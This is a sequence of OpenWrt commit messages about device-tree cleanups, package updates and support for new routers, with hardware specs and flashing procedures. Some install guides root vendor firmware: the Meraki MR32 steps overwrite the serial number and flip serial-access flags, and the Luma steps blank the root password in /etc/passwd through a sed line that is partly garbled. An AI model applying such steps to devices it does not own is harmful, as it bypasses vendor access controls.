pattern to include 'iwinfo' with any 'wpad' variant.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
The ethernet setup/label MAC address for RT-AC51U and RT-AC54U are
the same, so move them into the shared DTSI.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
'setfiles' and others should be installed to $(STAGING_DIR_HOSTPKG)/bin
rather than $(...)/sbin which isn't in PATH.
Also using -Wl,-rpath to set library search location instead of setting
LD_LIBRARY_PATH when calling setfiles in image.mk.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The order of function and color in the labels in inverted for the
LAN LEDs. Fix it.
Fixes: 915966d861 ("ath79: Port PowerCloud Systems CAP324 support")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The LED color was missing in 01_leds.
Fixes: 745dee11ac ("ath79: add support for WD My Net Wi-Fi Range
Extender")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The "/dts-v1/;" identifier is supposed to be present once at the
top of a device tree file after the includes have been processed.
In ramips, we therefore requested to have in the DTS files so far,
and omit it in the DTSI files. However, essentially the syntax of
the parent mtxxxx/rtxxxx DTSI files already determines the DTS
version, so putting it into the DTS files is just a useless repetition.
Consequently, this patch puts the dts-v1 statement into the top-level
SoC-based DTSI files, and removes all other occurences.
Since the dts-v1 statement needs to be before any other definitions,
this also moves the includes accordingly where necessary.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The "/dts-v1/;" identifier is supposed to be present once at the
top of a device tree file after the includes have been processed.
In ath79, we therefore requested to have in the DTS files so far,
and omit it in the DTSI files. However, essentially the syntax of
the parent ath79.dtsi file already determines the DTS version, so
putting it into the DTS files is just a useless repetition.
Consequently, this patch puts the dts-v1 statement into the parent
ath79.dtsi, which is (indirectly) included by all DTS files. All
other occurences are removed.
Since the dts-v1 statement needs to be before any other definitions,
this also moves the includes to make sure the ath79.dtsi or its
descendants are always included first.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
ath79.dtsi uses ATH79_CLK_MDIO, so the include
<dt-bindings/clock/ath79-clk.h>
needs to be moved there.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The "/dts-v1/;" identifier is supposed to be present once at the
top of a device tree file after the includes have been processed.
Therefore, adding it to a DTS _and_ a DTSI file is actually wrong,
as it will be present twice then (though the compiler does not
complain about it).
In ipq40xx, the dts-v1 statement is already included in
qcom-ipq4019.dtsi, so we don't have to add it anywhere at all.
However, based on the conditions stated above, this requires
qcom-ipq4019.dtsi to be included as the first file in any DTS(I).
Consequently, this patch removes all cases of dts-v1 for the
ipq40xx target, and moves the includes accordingly where necessary.
While at it, remove a few obviously unneeded includes on the way.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Move engenius_loader_okli image recipe in front of all Engenius
devices, so adding new device entries will not have them sorted
before the shared recipe.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
First group the interfaces on the DSA switch into the
right LAN/WAN groups. Tested successfully on the
D-Link DIR-685 with the RTL8366RB DSA switch.
The RTL8366RB is DSA custom tagged and now handled
by the kernel tag parser. (Backported.)
The Vitesse switches are not capable of supporting
DSA per-port tagging. We suspect they must be handled
using some custom VLAN set-up.
Cc: Pawel Dembicki <paweldembicki@gmail.com>
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
[sorted devices alphabetically]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
.dts:226.17-230.4: Warning (spi_bus_reg): /soc/spi@78b6000/spi@1:
SPI bus unit address format error, expected "0"
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This patch adds support for Cisco Meraki MR32.
The unit was donated by Chris Blake. Thank you!
WARNING:
Only the 1x1:1 abgn Air Marshal WIPS wifi is currently supported by b43:
b43-phy2: Found PHY: Analog 9, Type 4 (N), Revision 16
b43-phy2: Found Radio: Manuf 0x17F, ID 0x2057, Revision 9, Version 1
b43-phy2: Loading firmware version 784.2 (2012-08-15 21:35:19)
and only as 802.11ABG!
while WIFI1 and WIFI2 (both BCM4352) are not:
b43-phy0: Broadcom 4352 WLAN found (core revision 42)
b43-phy0 ERROR: FOUND UNSUPPORTED PHY (Analog 12, Type 11 (AC), Revision 1)
Hardware Highlights:
SoC: Broadcom BCM53016A1 (1 GHz, 2 cores)
RAM: 128 MiB
NAND: 128 MiB Spansion S34ML01G2 (~114 MiB useable)
ETH: 1GBit Ethernet Port - PoE
WIFI1: Broadcom BCM43520 an+ac (2x2:2 - id: 0x4352)
WIFI2: Broadcom BCM43520 bgn (2x2:2 - id: 0x4352)
WIFI3: Broadcom BCM43428 abgn (1x1:1 - id: 43428)
BLE: Broadcom BCM20732 (ttyS1)
LEDS: 1 x Programmable RGB Status LED (driven by a PWM)
1 x White LED (GPIO)
1 x Orange LED Fault Indicator (GPIO)
2 x LAN Activity / Speed LEDs (On the RJ45 Port)
BUTTON: one Reset button
MISC: AT24C64 8KiB EEPROM (i2c - stores Ethernet MAC + Serial#!)
ina219 hardware monitor (i2c)
Kensington Lock
SERIAL:
WARNING: The serial port needs a TTL/RS-232 3V3 level converter!
The Serial setting is 115200-8-N-1. The board has a populated
right angle 1x4 0.1" pinheader.
The pinout is: VCC, RX, TX, GND. (Use a multimeter)
Flashing needs a serial adaptor (due to the lack of a working dropbear on
the original firmware).
This flashing procedure for the MR32 was tested with firmware:
"r23-149867:150252-aacharya".
0. Create a seperate Ethernet LAN which does not have access to the internet.
Ideally use 192.168.1.2 for your PC. Make sure to reserve 192.168.1.1 it
will be used later on by the OpenWrt firmware. The original Meraki firmware
will likely try to setup the network via DHCP Discovery, so make sure your
PC is running a DHCP-Server (i.e.: dnsmasq)
'# dnsmasq -i eth# -F 192.168.1.5,192.168.1.50
Furthermore, the PC needs a supported ssh/http/ftp server in order to
retrieve the initramfs + dtb file
1. Disassemble the MR32 device by removing all screws (4 screws are located
under the 4 rubber feets!) and prying open the plastic covers without
breaking the plastic retention clips. Once inside, remove all the screws
on the outer metal shielding to get to the PCB. It's not necessary to
remove the antennas!
2. Connect the serial cable to the serial header.
3. Partially reassemble the outer metal shielding to ensure that the SoC
has a proper heat sink.
4. Connect the Ethernet patch cable to the device and the power cable.
5. Wait for the device to boot and enter the root shell.
(rooting is not discussed in detail here please refer to
Chris Blake - "pwning the meraki mr18" blog post:
<https://servernetworktech.com/2016/02/pwning-the-meraki-mr18/>
(The same method works with the MR32's r23-149867:150252-aacharya)
Wait for the MR32 to enter the "<Meraki>" prompt and enter:
<Meraki> odm serial_num read
(Verify that it matches what's on the S/N Sticker on the back!)
<Meraki> odm serial_num write Q2XX-XXXX-XXXV
<Meraki> odm serial_num read
(Verify that the S/N has changed - and the LED start to flash)
now to flash the firmware:
<Meraki> odm firmware part.safe "http://192.168.1.2/mr32-initramfs.bin"
Once OpenWrt booted use sysupgrade to permanently install
OpenWrt. To do this: Download the latest sysupgrade.bin file
for the MR32 to the device and use sysupgrade *sysupgrade.bin
to install it.
WARNING: DO NOT DELETE the "storage" ubi volume!
To flash later MR32 Firmwares like r25-201804051805-G885d6d78-dhow-rel
requires in-circut-i2c tools to access the I2C EEPROM AT24C64 next to
the SoC. The idea is pretty much the same as from Step 5 from above:
Change the serial number to Q2XXXXXXXXXV (should be around 0x7c), then
attach a serial cable, ethernet (but make sure the device can't reach
the internet!) hit "s" (the small s!) during boot to enter the root-shell
and add the following commands to the /storage/config there:
serial_allow_odm true
serial_access_enabled true
serial_access_check false
valid_config true
and then hit exit to let it finish booting.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
The BCM5301x SoCs do have i2c. Since this is only
being used by the Meraki MR32, this will be packaged
as a module.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
These have made their way into -next. This patch
also includes the portion of the bcm53xx kernel
patch refreshes as the hunks in
302-ARM-dts-BCM5301X-Update-Northstar-pinctrl-binding.patch
moved slightly due to the added nodes.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
The Meraki MR32 (BCM53016A1) uses the pwm to drive the
tricolor LED. The driver has been available in upstream
for a long time. Only the Device-Tree definition was
missing, but it has been queued recently.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
As the PWM has its own sub-system in the Linux kernel,
I think it should be handled in the same way as GPIO, RTC, PCI...
This patch introduces a specific feature flag "pwm" and the
"leds-pwm" kernel module as the first customer.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Some bootloaders are really keen on just one special
fdt in a multi-image fit image. This is a problem, because
currently this is fixed to "fdt@1".
This patch introduces a new device variable:
DEVICE_FDT_NUM that allows to specify the right
fdt number.
If the value is absent "1" will be chosen.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
The Linksys MR8300 is based on QCA4019 and QCA9888
and provides three, independent radios.
NAND provides two, alternate kernel/firmware images
with fail-over provided by the OEM U-Boot.
Hardware Highlights:
SoC: IPQ4019 at 717 MHz (4 CPUs)
RAM: 512MB RAM
SoC: Qualcomm IPQ4019 at 717 MHz (4 CPUs)
RAM: 512M DDR3
FLASH: 256 MB NAND (Winbond W29N02GV, 8-bit parallel)
ETH: Qualcomm QCA8075 (4x GigE LAN, 1x GigE Internet Ethernet Jacks)
BTN: Reset and WPS
USB: USB3.0, single port on rear with LED
SERIAL: Serial pads internal (unpopulated)
LED: Four status lights on top + USB LED
WIFI1: 2x2:2 QCA4019 2.4 GHz radio on ch. 1-14
WIFI2: 2x2:2 QCA4019 5 GHz radio on ch. 36-64
WIFI3: 2x2:2 QCA9888 5 GHz radio on ch. 100-165
Support is based on the already supported EA8300.
Key differences:
EA8300 has 256MB RAM where MR8300 has 512MB RAM.
MR8300 has a revised top panel LED setup.
Installation:
"Factory" images may be installed directly through the OEM GUI using
URL: https://ip-of-router/fwupdate.html (Typically 192.168.1.1)
Signed-off-by: Hans Geiblinger <cybrnook2002@yahoo.com>
[copied Hardware-highlights from EA8300. Fixed alphabetical order.
fixed commit subject, removed bogus unit-address of keys,
fixed author (used Signed-off-By to From:) ]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Luma Home WRTQ-329ACN, also known as Luma WiFi System, is a dual-band
wireless access point.
Specification
SoC: Qualcomm Atheros IPQ4018
RAM: 256 MB DDR3
Flash: 2 MB SPI NOR
128 MB SPI NAND
WIFI: 2.4 GHz 2T2R integrated
5 GHz 2T2R integrated
Ethernet: 2x 10/100/1000 Mbps QCA8075
USB: 1x 2.0
Bluetooth: 1x 4.0 CSR8510 A10, connected to USB bus
LEDS: 16x multicolor LEDs ring, controlled by MSP430G2403 MCU
Buttons: 1x GPIO controlled
EEPROM: 16 Kbit, compatible with AT24C16
UART: row of 4 holes marked on PCB as J19, starting count from the side
of J19 marking on PCB
1. GND, 2. RX, 3. TX, 4. 3.3V
baud: 115200, parity: none, flow control: none
The device supports OTA or USB flash drive updates, unfotunately they
are signed. Until the signing key is known, the UART access is mandatory
for installation. The difficult part is disassembling the casing, there
are a lot of latches holding it together.
Teardown
Prepare three thin, but sturdy, prying tools. Place the device with back
of it facing upwards. Start with the wall having a small notch. Insert
first tool, until You'll feel resistance and keep it there. Repeat the
procedure for neighbouring walls. With applying a pressure, one edge of
the back cover should pop up. Now carefully slide one of the tools to
free the rest of the latches.
There's no need to solder pins to the UART holes, You can use hook clips,
but wiring them outside the casing, will ease debuging and recovery if
problems occur.
Installation
1. Prepare TFTP server with OpenWrt initramfs image.
2. Connect to UART port (don't connect the voltage pin).
3. Connect to LAN port.
4. Power on the device, carefully observe the console output and when
asked quickly enter the failsafe mode.
5. Invoke 'mount_root'.
6. After the overlayfs is mounted run:
fw_setenv bootdelay 3
This will allow to access U-Boot shell.
7. Reboot the device and when prompted to stop autoboot, hit any key.
8. Adjust "ipaddr" and "serverip" addresses in U-Boot environment, use
'setenv' to do that, then run following commands:
tftpboot 0x84000000 <openwrt_initramfs_image_name>
bootm 0x84000000
and wait till OpenWrt boots.
9. In OpenWrt command line run following commands:
fw_setenv openwrt "setenv mtdids nand1=spi_nand; setenv mtdparts mtdparts=spi_nand:-(ubi); ubi part ubi; ubi read 0x84000000 kernel; bootm 0x84000000"
fw_setenv bootcmd "run openwrt"
10. Transfer OpenWrt sysupgrade image to /tmp directory and flash it
with:
ubirmvol /dev/ubi0 -N ubi_rootfs
sysupgrade -v -n /tmp/<openwrt_sysupgrade_image_name>
11. After flashing, the access point will reboot to OpenWrt, then it's
ready for configuration.
Reverting to OEM firmware
1. Execute installation guide steps: 1, 2, 3, 7, 8.
2. In OpenWrt command line run following commands:
ubirmvol /dev/ubi0 -N rootfs_data
ubirmvol /dev/ubi0 -N rootfs
ubirmvol /dev/ubi0 -N kernel
ubirename /dev/ubi0 kernel1 kernel ubi_rootfs1 ubi_rootfs
ubimkvol /dev/ubi0 -S 34 -N kernel1
ubimkvol /dev/ubi0 -S 320 -N ubi_rootfs1
ubimkvol /dev/ubi0 -S 264 -N rootfs_data
fw_setenv bootcmd bootipq
3. Reboot.
Known issues
The LEDs ring doesn't have any dedicated driver or application to control
it, the only available option atm is to manipulate it with 'i2cset'
command. The default action after applying power to device is spinning
blue light. This light will stay active at all time. To disable it
install 'i2c-tools' with opkg and run:
i2cset -y 2 0x48 3 1 0 0 i
The light will stay off until next cold boot.
Additional information
After completing 5. step from installation guide, one can disable asking
for root password on OEM firmware by running:
sed -e 's/root❌/root::/' -i /etc/passwd
This is useful for investigating the OEM firmware. One can look
at the communication between the stock firmware and the vendor's
cloud servers or as a way of making a backup of both flash chips.
The root password seems to be constant across all sold devices.
This is output of 'led_ctl' from OEM firmware to illustrate
possibilities of LEDs ring:
Usage: led_ctl [status | upgrade | force_upgrade | version]
led_ctl solid COLOR <brightness>
led_ctl single COLOR INDEX <brightness 0 - 15>
led_ctl spinning COLOR <period 1 - 16 (lower = faster)>
led_ctl fill COLOR <period 1 - 16 (lower = faster)>
( default is 5 )
led_ctl flashing COLOR <on dur 1 - 128> <off dur 1 - 128>
(default is 34) ( default is 34 )
led_ctl pulsing COLOR
COLOR: red, green, blue, yellow, purple, cyan, white
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
[squash "ipq-wifi: add BDFs for Luma Home WRTQ-329ACN" into commit,
changed ubi volumes for easier integration, slightly reworded
commit message, changed ubi volume layout to use standard names all
around]
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
It should return false to indicate that the option should not be ignored
Fixes 064dc1e8 ("dnsmasq: abort when dnssec requested but not
available")
Reported-by: Sami Olmari <sami@olmari.fi>
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
The TFTP server provided by dnsmasq supports serving a select boot image
based on the client's MAC or IP address. This allows an administrator
to activate this feature in /etc/config/dhcp. Here is an example
/etc/config/dhcp that configures dnsmasq with --tftp-unique-root=mac:
...
config dnsmasq
option enable_tftp 1
option tftp_root /usr/libexec/tftpboot
option tftp_unique_root mac
config boot router
option serveraddress 192.168.1.1
option servername tftp.example.com
option filename openwrt-initramfs-kernel.bin
...
With this configuration, dnsmasq will serve
/usr/libexec/tftpboot/00-11-22-33-44-55/openwrt-initramfs-kernel.bin to
the client with MAC address 00:11:22:33:44:55.
Signed-off-by: W. Michael Petullo <mike@flyn.org>
All modifications made by update_kernel.sh
Build system: x86_64
Build-tested: ipq806x, lantiq/xrx200 and ath79/generic
Run-tested: ipq806x (R7800), lantiq (Easybox 904 xDSL)
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
[add test on lantiq]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Add config options:
srcportmin/srcportmax : range of port numbers to use as UDP source ports
to communicate to the remote VXLAN tunnel endpoint
ageing : lifetime in seconds of FDB entries learnt by the kernel
maxaddress : maximum number of FDB entries
learning : enable/disable entering unknown source link layer addresses
and IP addresses into the VXLAN device FDB.
rsc : enable/disable route short circuit
proxy : enable/disable ARP proxy
l2miss : enable/disable netlink LLADDR miss notifications
l3miss : enable/disable netlink IP ADDR miss notifications
gbp : enable/disable the Group Policy extension
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
This submission relied heavily on the work of
Santiago Rodriguez-Papa <contact at rodsan.dev>
Specifications:
* SoC: MediaTek MT7621A (880 MHz 2c/4t)
* RAM: Winbond W632GG6MB-12 (256M DDR3-1600)
* Flash: Winbond W29N01HVSINA (128M NAND)
* Eth: MediaTek MT7621A (10/100/1000 Mbps x5)
* Radio: MT7603E/MT7615N (2.4 GHz & 5 GHz)
4 antennae: 1 internal and 3 non-deatachable
* USB: 3.0 (x1)
* LEDs:
White (x1 logo)
Green (x6 eth + wps)
Orange (x5, hardware-bound)
* Buttons:
Reset (x1)
WPS (x1)
Installation:
Flash factory image through GUI.
This might fail due to the A/B nature of this device. When flashing, OEM
firmware writes over the non-booted partition. If booted from 'A',
flashing over 'B' won't work. To get around this, you should flash the
OEM image over itself. This will then boot the router from 'B' and
allow you to flash OpenWRT without problems.
Reverting to factory firmware:
Hard-reset the router three times to force it to boot from 'B.' This is
where the stock firmware resides. To remove any traces of OpenWRT from
your router simply flash the OEM image at this point.
Signed-off-by: J. Scott Heppler <shep971@centurylink.net>
SPDX moved from GPL-2.0 to GPL-2.0-only and from GPL-2.0+ to
GPL-2.0-or-later. Reflect that in the SPDX license headers.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
SPDX moved from GPL-2.0 to GPL-2.0-only and from GPL-2.0+ to
GPL-2.0-or-later. Reflect that in the SPDX license headers.
Signed-off-by: Paul Spooren <mail@aparcar.org>
[adjust commit title, update remaining files]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The legacy ar71xx target is removed and multiple targets use DTS now, so
there is no need to point that out for ATH79 specifically.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Make the BSSID and SSID fields optional when configuring a neighbor
report into hostapd.
Both options can now be an empty string. For the BSSID, the first 6 byte
are copied from the neighbor report. For the SSID, the SSID for the
affected hostapd BSS is used.
Signed-off-by: David Bauer <mail@david-bauer.net>
Rafal Milecki pointed out that ubus events are meant for low-level ubus
events only (e.g. addition or removal of an object). Higher level
events should happen as notifications on the ubus object itself.
Dispatch BSS events on the main hostapd ubus object instead of
publishing them as ubus events.
Signed-off-by: David Bauer <mail@david-bauer.net>
bluetooth on mt7622 needs a firmware to start. It can't be built-in or
it tries to load firmware before rootfs is mounted, and then fails.
build it as a kernel module to fix that.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
hostapd will emit a ubus event with the eventname hostapd.<ifname>.<event>
when adding, removing or reloading a BSS.
This way, services which install state (for example the RMM neighbor
list) can on-demand reinstall this information for the BSS without
polling this state.
Signed-off-by: David Bauer <mail@david-bauer.net>
UCI defaults scripts are supposed to be numbered, but odhcpd's lacked numbering, which
turned out to mess up my custom scripts numbered 9[0-9]_*. The idea is to have high number
(custom) scripts executed last. Jow confirmed numbering is the default case, not the
exception (thanks).
Signed-off-by: Stijn Segers <foss@volatilesystems.org>
Instead of vaguely describing dependencies in the package description
actually split-up into individual packages, each with their
dependencies expressed accurately.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Split utility packages similar to coreutils in packages feed, adding
ALTERNATIVES for those which are also provided by busybox-selinux.
Also add missing license information.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
When the nulldata frame was acked, the probe send count needs to be reset,
otherwise it will keep increasing until the connection is considered dead,
even though it fine.
Reported-by: Georgi Valkov <gvalkov@abv.bg>
Signed-off-by: Felix Fietkau <nbd@nbd.name>
The required BusyBox applets are enabled by default, so we can rely on them
being present in the system. This way, we make sure there are no conflicts
with less featured variants of these same applets which might also be
present in the system.
Fixes: 0bd7dfa3ed ("zram-swap: enable swap discard")
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
[wrap commit description]
Signed-off-by: David Bauer <mail@david-bauer.net>
Some 5GHz wifi interfaces, especially in Tri-band routers, can't use
channel 36. In these cases, the default configuration for 5GHz
interfaces, once enabled, doesn't work.
This patch selects the first non-disabled channel for 5GHz interfaces.
Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
It turns out that 'echo -e' isn't portable; it doesn't work in the dash
builtin echo and Ubuntu users are complaining.
I can't even get octal (specified by POSIX) to work consistently because
those variants of 'echo' which *do* support -e don't seem to interpret
octalwithout it.
I could switch to /bin/echo but using -e with that isn't actually
portable *either* even though it works today.
For now just stick with bash, and use its builtin. We may end up using
something else entirely; perhaps perl.
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
We want to be able to make full system images for this system too, just
as we now can for the MT7623 platforms.
The package directory (mt7623n) is now a bit misnamed as it's overly
specific, but the precise set of platforms which we support this way
is evolving and we'll fix it up when the dust settles and we know what
nomenclature makes most sense.
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
This fixes several stylistic and functional errors of the recently
added Edgecore ECW5410:
- fix call in 11-ath10k-caldata
- use hex notation in 11-ath10k-caldata
- remove redundant definitions from DTS that are already in DTSI
- use proper sorting in image/Makefile
- use DEVICE_VENDOR/DEVICE_MODEL instead of DEVICE_TITLE
- use SOC instead of DEVICE_DTS
Fixes: 59f0a0fd83 ("ipq806x: add Edgecore ECW5410 support")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
All modifications made by update_kernel.sh/no manual intervention needed
Run-tested: ipq806x (R7800), ath79 (Archer C7v5), x86/64
No dmesg regressions, everything appears functional
Signed-off-by: John Audia <graysky@archlinux.us>
[add run test from PR]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This bug applied where mtd partition end address,
or erase start address, was not cleanly divisible by parent mtd erasesize.
This error would cause the bits following the end of the partition
to the next erasesize block boundary to be erased,
and this partition-overflow data to be written to the partition erase
address (missing additional partition offset address)
of the mtd (top) parent device.
Fixes: FS#2428
Signed-off-by: John Thomson <git@johnthomson.fastmail.com.au>
Tested-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
[shorten commit title, add Fixes, fix kernel 4.19 as well]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Update to current head of the branch A3700_utils-armada-18.12-fixed:
0967979 ddr: Add DDR3 2CS layout for EspressoBin v5 2GB board
486523e ddr: fix typo for ESPRESSObin 2GB layout
490b2b3 TBB: Fix building for Crypto++ 6.0 and later
0141dd1 TBB: Split INCDIR from LIBDIR
Signed-off-by: Andre Heider <a.heider@gmail.com>
Lift the dependency on the build order, where flash-image.bin may be missing
from the u-boot dir.
While at it, also install the uart images for rescue purposes.
Signed-off-by: Andre Heider <a.heider@gmail.com>
With global NLS support enabled (CONFIG_BUILD_NLS), the linked libelf.so
and libbfd.so libraries will depend on libintl.so. Import the nls.mk helper
to set library prefixes and flags accordingly, and also conditionally add
"-lintl" as link-time library.
Fix a build error on ppc due to a EDEADLOCK redefinition in errno.h.
Use upstream stable kernel 5.8.9, and fix overriding of feature detection
to only allow/hide detected features. Also refresh existing patches.
Fixes: 2f0d672088 ("bpftools: add utility and library packages supporting
eBPF usage")
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
amd64-microcode (3.20191218.1)
* New microcode update packages from AMD upstream:
+ Removed Microcode updates (known to cause issues):
sig 0x00830f10, patch id 0x08301025, 2019-07-11
* README: update for new release
amd64-microcode (3.20191021.1)
* New microcode update packages from AMD upstream:
+ New Microcodes:
sig 0x00830f10, patch id 0x08301025, 2019-07-11
+ Updated Microcodes:
sig 0x00800f12, patch id 0x08001250, 2019-04-16
sig 0x00800f82, patch id 0x0800820d, 2019-04-16
amd64-microcode (3.20181128.1)
* New microcode update packages from AMD upstream:
+ New Microcodes:
sig 0x00800f82, patch id 0x0800820b, 2018-06-20
Signed-off-by: Tan Zien <nabsdh9@gmail.com>
CONFIG_BMP085* is replaced by CONFIG_BMP280 since 4.9[1] and this package is empty.
OpenWRT also has kmod-iio-bmp280* package and we can drop old packages.
1. [ misc: retire the old BMP085 driver ]
(832c8232dd (diff-5000d544d790c669405eb2a6775e5981))
Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
libressl update to 3.2.1
Delete 001-dont-build-tests-man.patch
Add configure args :
--enable-static
--disable-tests
The patch (001-dont-build-tests-man.patch) no longer works with the current version.
Follow the patch notes:
Adding the --enable-static and --disable-tests parameters should replace the patch.
Signed-off-by: Yuan Tao <ty@wevs.org>
3b946a6dc588 mt76: dma: cache dma map address/len in struct mt76_queue_entry
c4c8b6a20d3b mt76: mt7915: fix HE BSS info
15391c1c947f mt76: fix tx hang on non-AQL frame limit
72c8a81e64e8 mt76: mt7915: fix encap offload multicast traffic with 4-address mode
69b3f868d14b mt76: mt7915: use napi_consume_skb to bulk-free tx skbs
5f080033ec7d mt76: move txwi handling code to dma.c, since it is mmio specific
b1f425686125 mt76: mt7915: fix VHT LDPC capability
8f48855f5d14 mt76: mt7915: simplify mt7915_lmac_mapping
cfaf40858718 mt76: mt7915: fix queue/tid mapping for airtime reporting
115b62efac21 mt76: remove retry_q from struct mt76_txq and related code
e22c65cdc585 mt76: mt7915: simplify checks for the 802.3 offload path
bab866a01e4f mt76: mt7915: fix unexpected firmware mode
0fc3c5eb61d0 mt76: dma: queue more rx frames internally before passing them to the stack
130e5de09364 Revert "mt76: dma: queue more rx frames internally before passing them to the stack"
e3af31409d41 update mt7915 firmware to the latest version
e2b8a4ec9891 mt76: testmode: add a limit for queued tx_frames packets
146488631f7b mt76: mt7615: Remove set but unused variable 'index'
0b7d2b76288e mt76: mt7615: fix VHT LDPC capability
848f4a6334a8 mt76: mt7622: fix fw hang on mt7622
0a955d944bd0 mt76: mt7663s: do not use altx for ctl/mgmt traffic
13b96411513b mt76: mt7663s: split mt7663s_tx_update_sched in mt7663s_tx_{pick,update}_quota
d62ba15b1bbf mt76: mt7663s: introduce __mt7663s_xmit_queue routine
fdf14d1b6aec mt76: move pad estimation out of mt76_skb_adjust_pad
d048f8e87ba0 mt76: mt7663s: fix possible quota leak in mt7663s_refill_sched_quota
979c0fdc5d27 mt76: mt7663s: introduce sdio tx aggregation
56e77a3a3ade mt76: mt7663: check isr read return value in mt7663s_rx_work
f96cffa03e57 mt76: mt7615: unlock dfs bands
1ccd31bbe1f4 mt76: Use fallthrough pseudo-keyword
448cd2d36ee2 mt76: mt76x0: Move tables used only by init.c to their own header file
17ba3432f5af Revert "mt76: mt7615: unlock dfs bands"
fee1f4a8e87f mt76: mt7915: fix possible memory leak in mt7915_mcu_add_beacon
5b78e5292777 mt76: Fix unsigned expressions compared with zero
ec84891a4d23 mt76: mt7915: convert to use le16_add_cpu()
Signed-off-by: Felix Fietkau <nbd@nbd.name>
The soft_config partition for these devices lays between 0xe000 and
0xf000 (as correctly detected by the RouterBoard platform driver),
before the bootloader2 partition which starts at 0x10000.
This commit correctly sorts the partitions, fixing the parsing error.
Fixes: FS#3314
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Reviewed-by: Thibaut VARÈNE <hacks@slashdirt.org>
This is the most popular choice in the linux kernel tree.
Within OpenWrt, this change will establish consistency with ath79
and ramips targets.
Signed-off-by: Martin Schiller <ms@dev.tdt.de>
[extend commit message, include netgear_dm200, update base-files]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
fdt_addr and kernel_addr variables are getting obsolete in the mainline
u-boot in favor of fdt_addr_r and kernel_addr_r.
By checking if the new variables exist, we can make sure that devices with newer
version of u-boot will work while not breaking support for the existing ones.
Signed-off-by: Vladimir Vid <vladimir.vid@sartura.hr>
Acked-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
Drop patches as they've been upstreamed:
* 001-Fix-CVE-2020-12762.patch
Refresh patches:
* 000-libm.patch
Add patch to avoid build failure due to missing docs in tarball.
Signed-off-by: David Bauer <mail@david-bauer.net>
The ethernet ports on the AVM FRITZRepeater 3000 are not separated
between LAN and WAN in the stock firmware. OpenWrt currently abstracts
port 4 as eth0 and port 5 as eth1, bridging them in the kernel.
This patch adjusts the GMAC port bitmasks and default bitmask for ar40xx
to bridge them on the switch, avoiding traffic on both ports to pass
thru the CPU.
Signed-off-by: David Bauer <mail@david-bauer.net>
This adds support for the Ubiquiti UniFi AP Pro to the ath79 target. The
device was previously supported on the now removed ar71xx target.
SoC Atheros AR9344
WiFi Atheros AR9344 & Atheros AR9280
ETH Atheros AR8327
RAM 128M DDR2
FLASH 16M SPI-NOR
Installation
------------
Follow the Ubiquiti TFTP recovery procedure for this device.
1. Hold down the reset button while connecting power for 10 seconds.
2. Transfer the factory image via TFTP to the AP (192.168.1.20)
3. Wait 2 minutes for the AP to write the firmware to flash. The device
will automatically reboot to OpenWrt.
Signed-off-by: David Bauer <mail@david-bauer.net>
On devices with small amounts of RAM, zram-swap fails to initialise due to the
default compression algorithm (lzo-rle). Startup example on an AirGrid M2, with
32 MiB of RAM:
root@airgrid:/etc/config# /etc/init.d/zram start
zram_start: activating '/dev/zram0' for swapping (13 MegaBytes)
zram_reset: enforcing defaults via /sys/block/zram0/reset
sh: write error: Out of memory
mkswap: image is too small
swapon: /dev/zram0: Invalid argument
root@airgrid:/etc/config#
Fix this by defaulting to traditional lzo, which works fine and is always
available.
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
flashing the unit
* first update to latest edcore FW as per the PDF instructions
* boot the initramfs
- tftpboot 0x88000000 openwrt-ipq40xx-generic-edgecore_oap100-initramfs-fit-uImage.itb; bootm
* inside the initramfs call the following commiands
- ubiattach -p /dev/mtd0
- ubirmvol /dev/ubi0 -n0
- ubirmvol /dev/ubi0 -n1
- ubirmvol /dev/ubi0 -n2
* scp the sysupgrade image to the board and call
- sysupgrade -n openwrt-ipq40xx-generic-edgecore_oap100-squashfs-nand-sysupgrade.bin
Signed-off-by: John Crispin <john@phrozen.org>
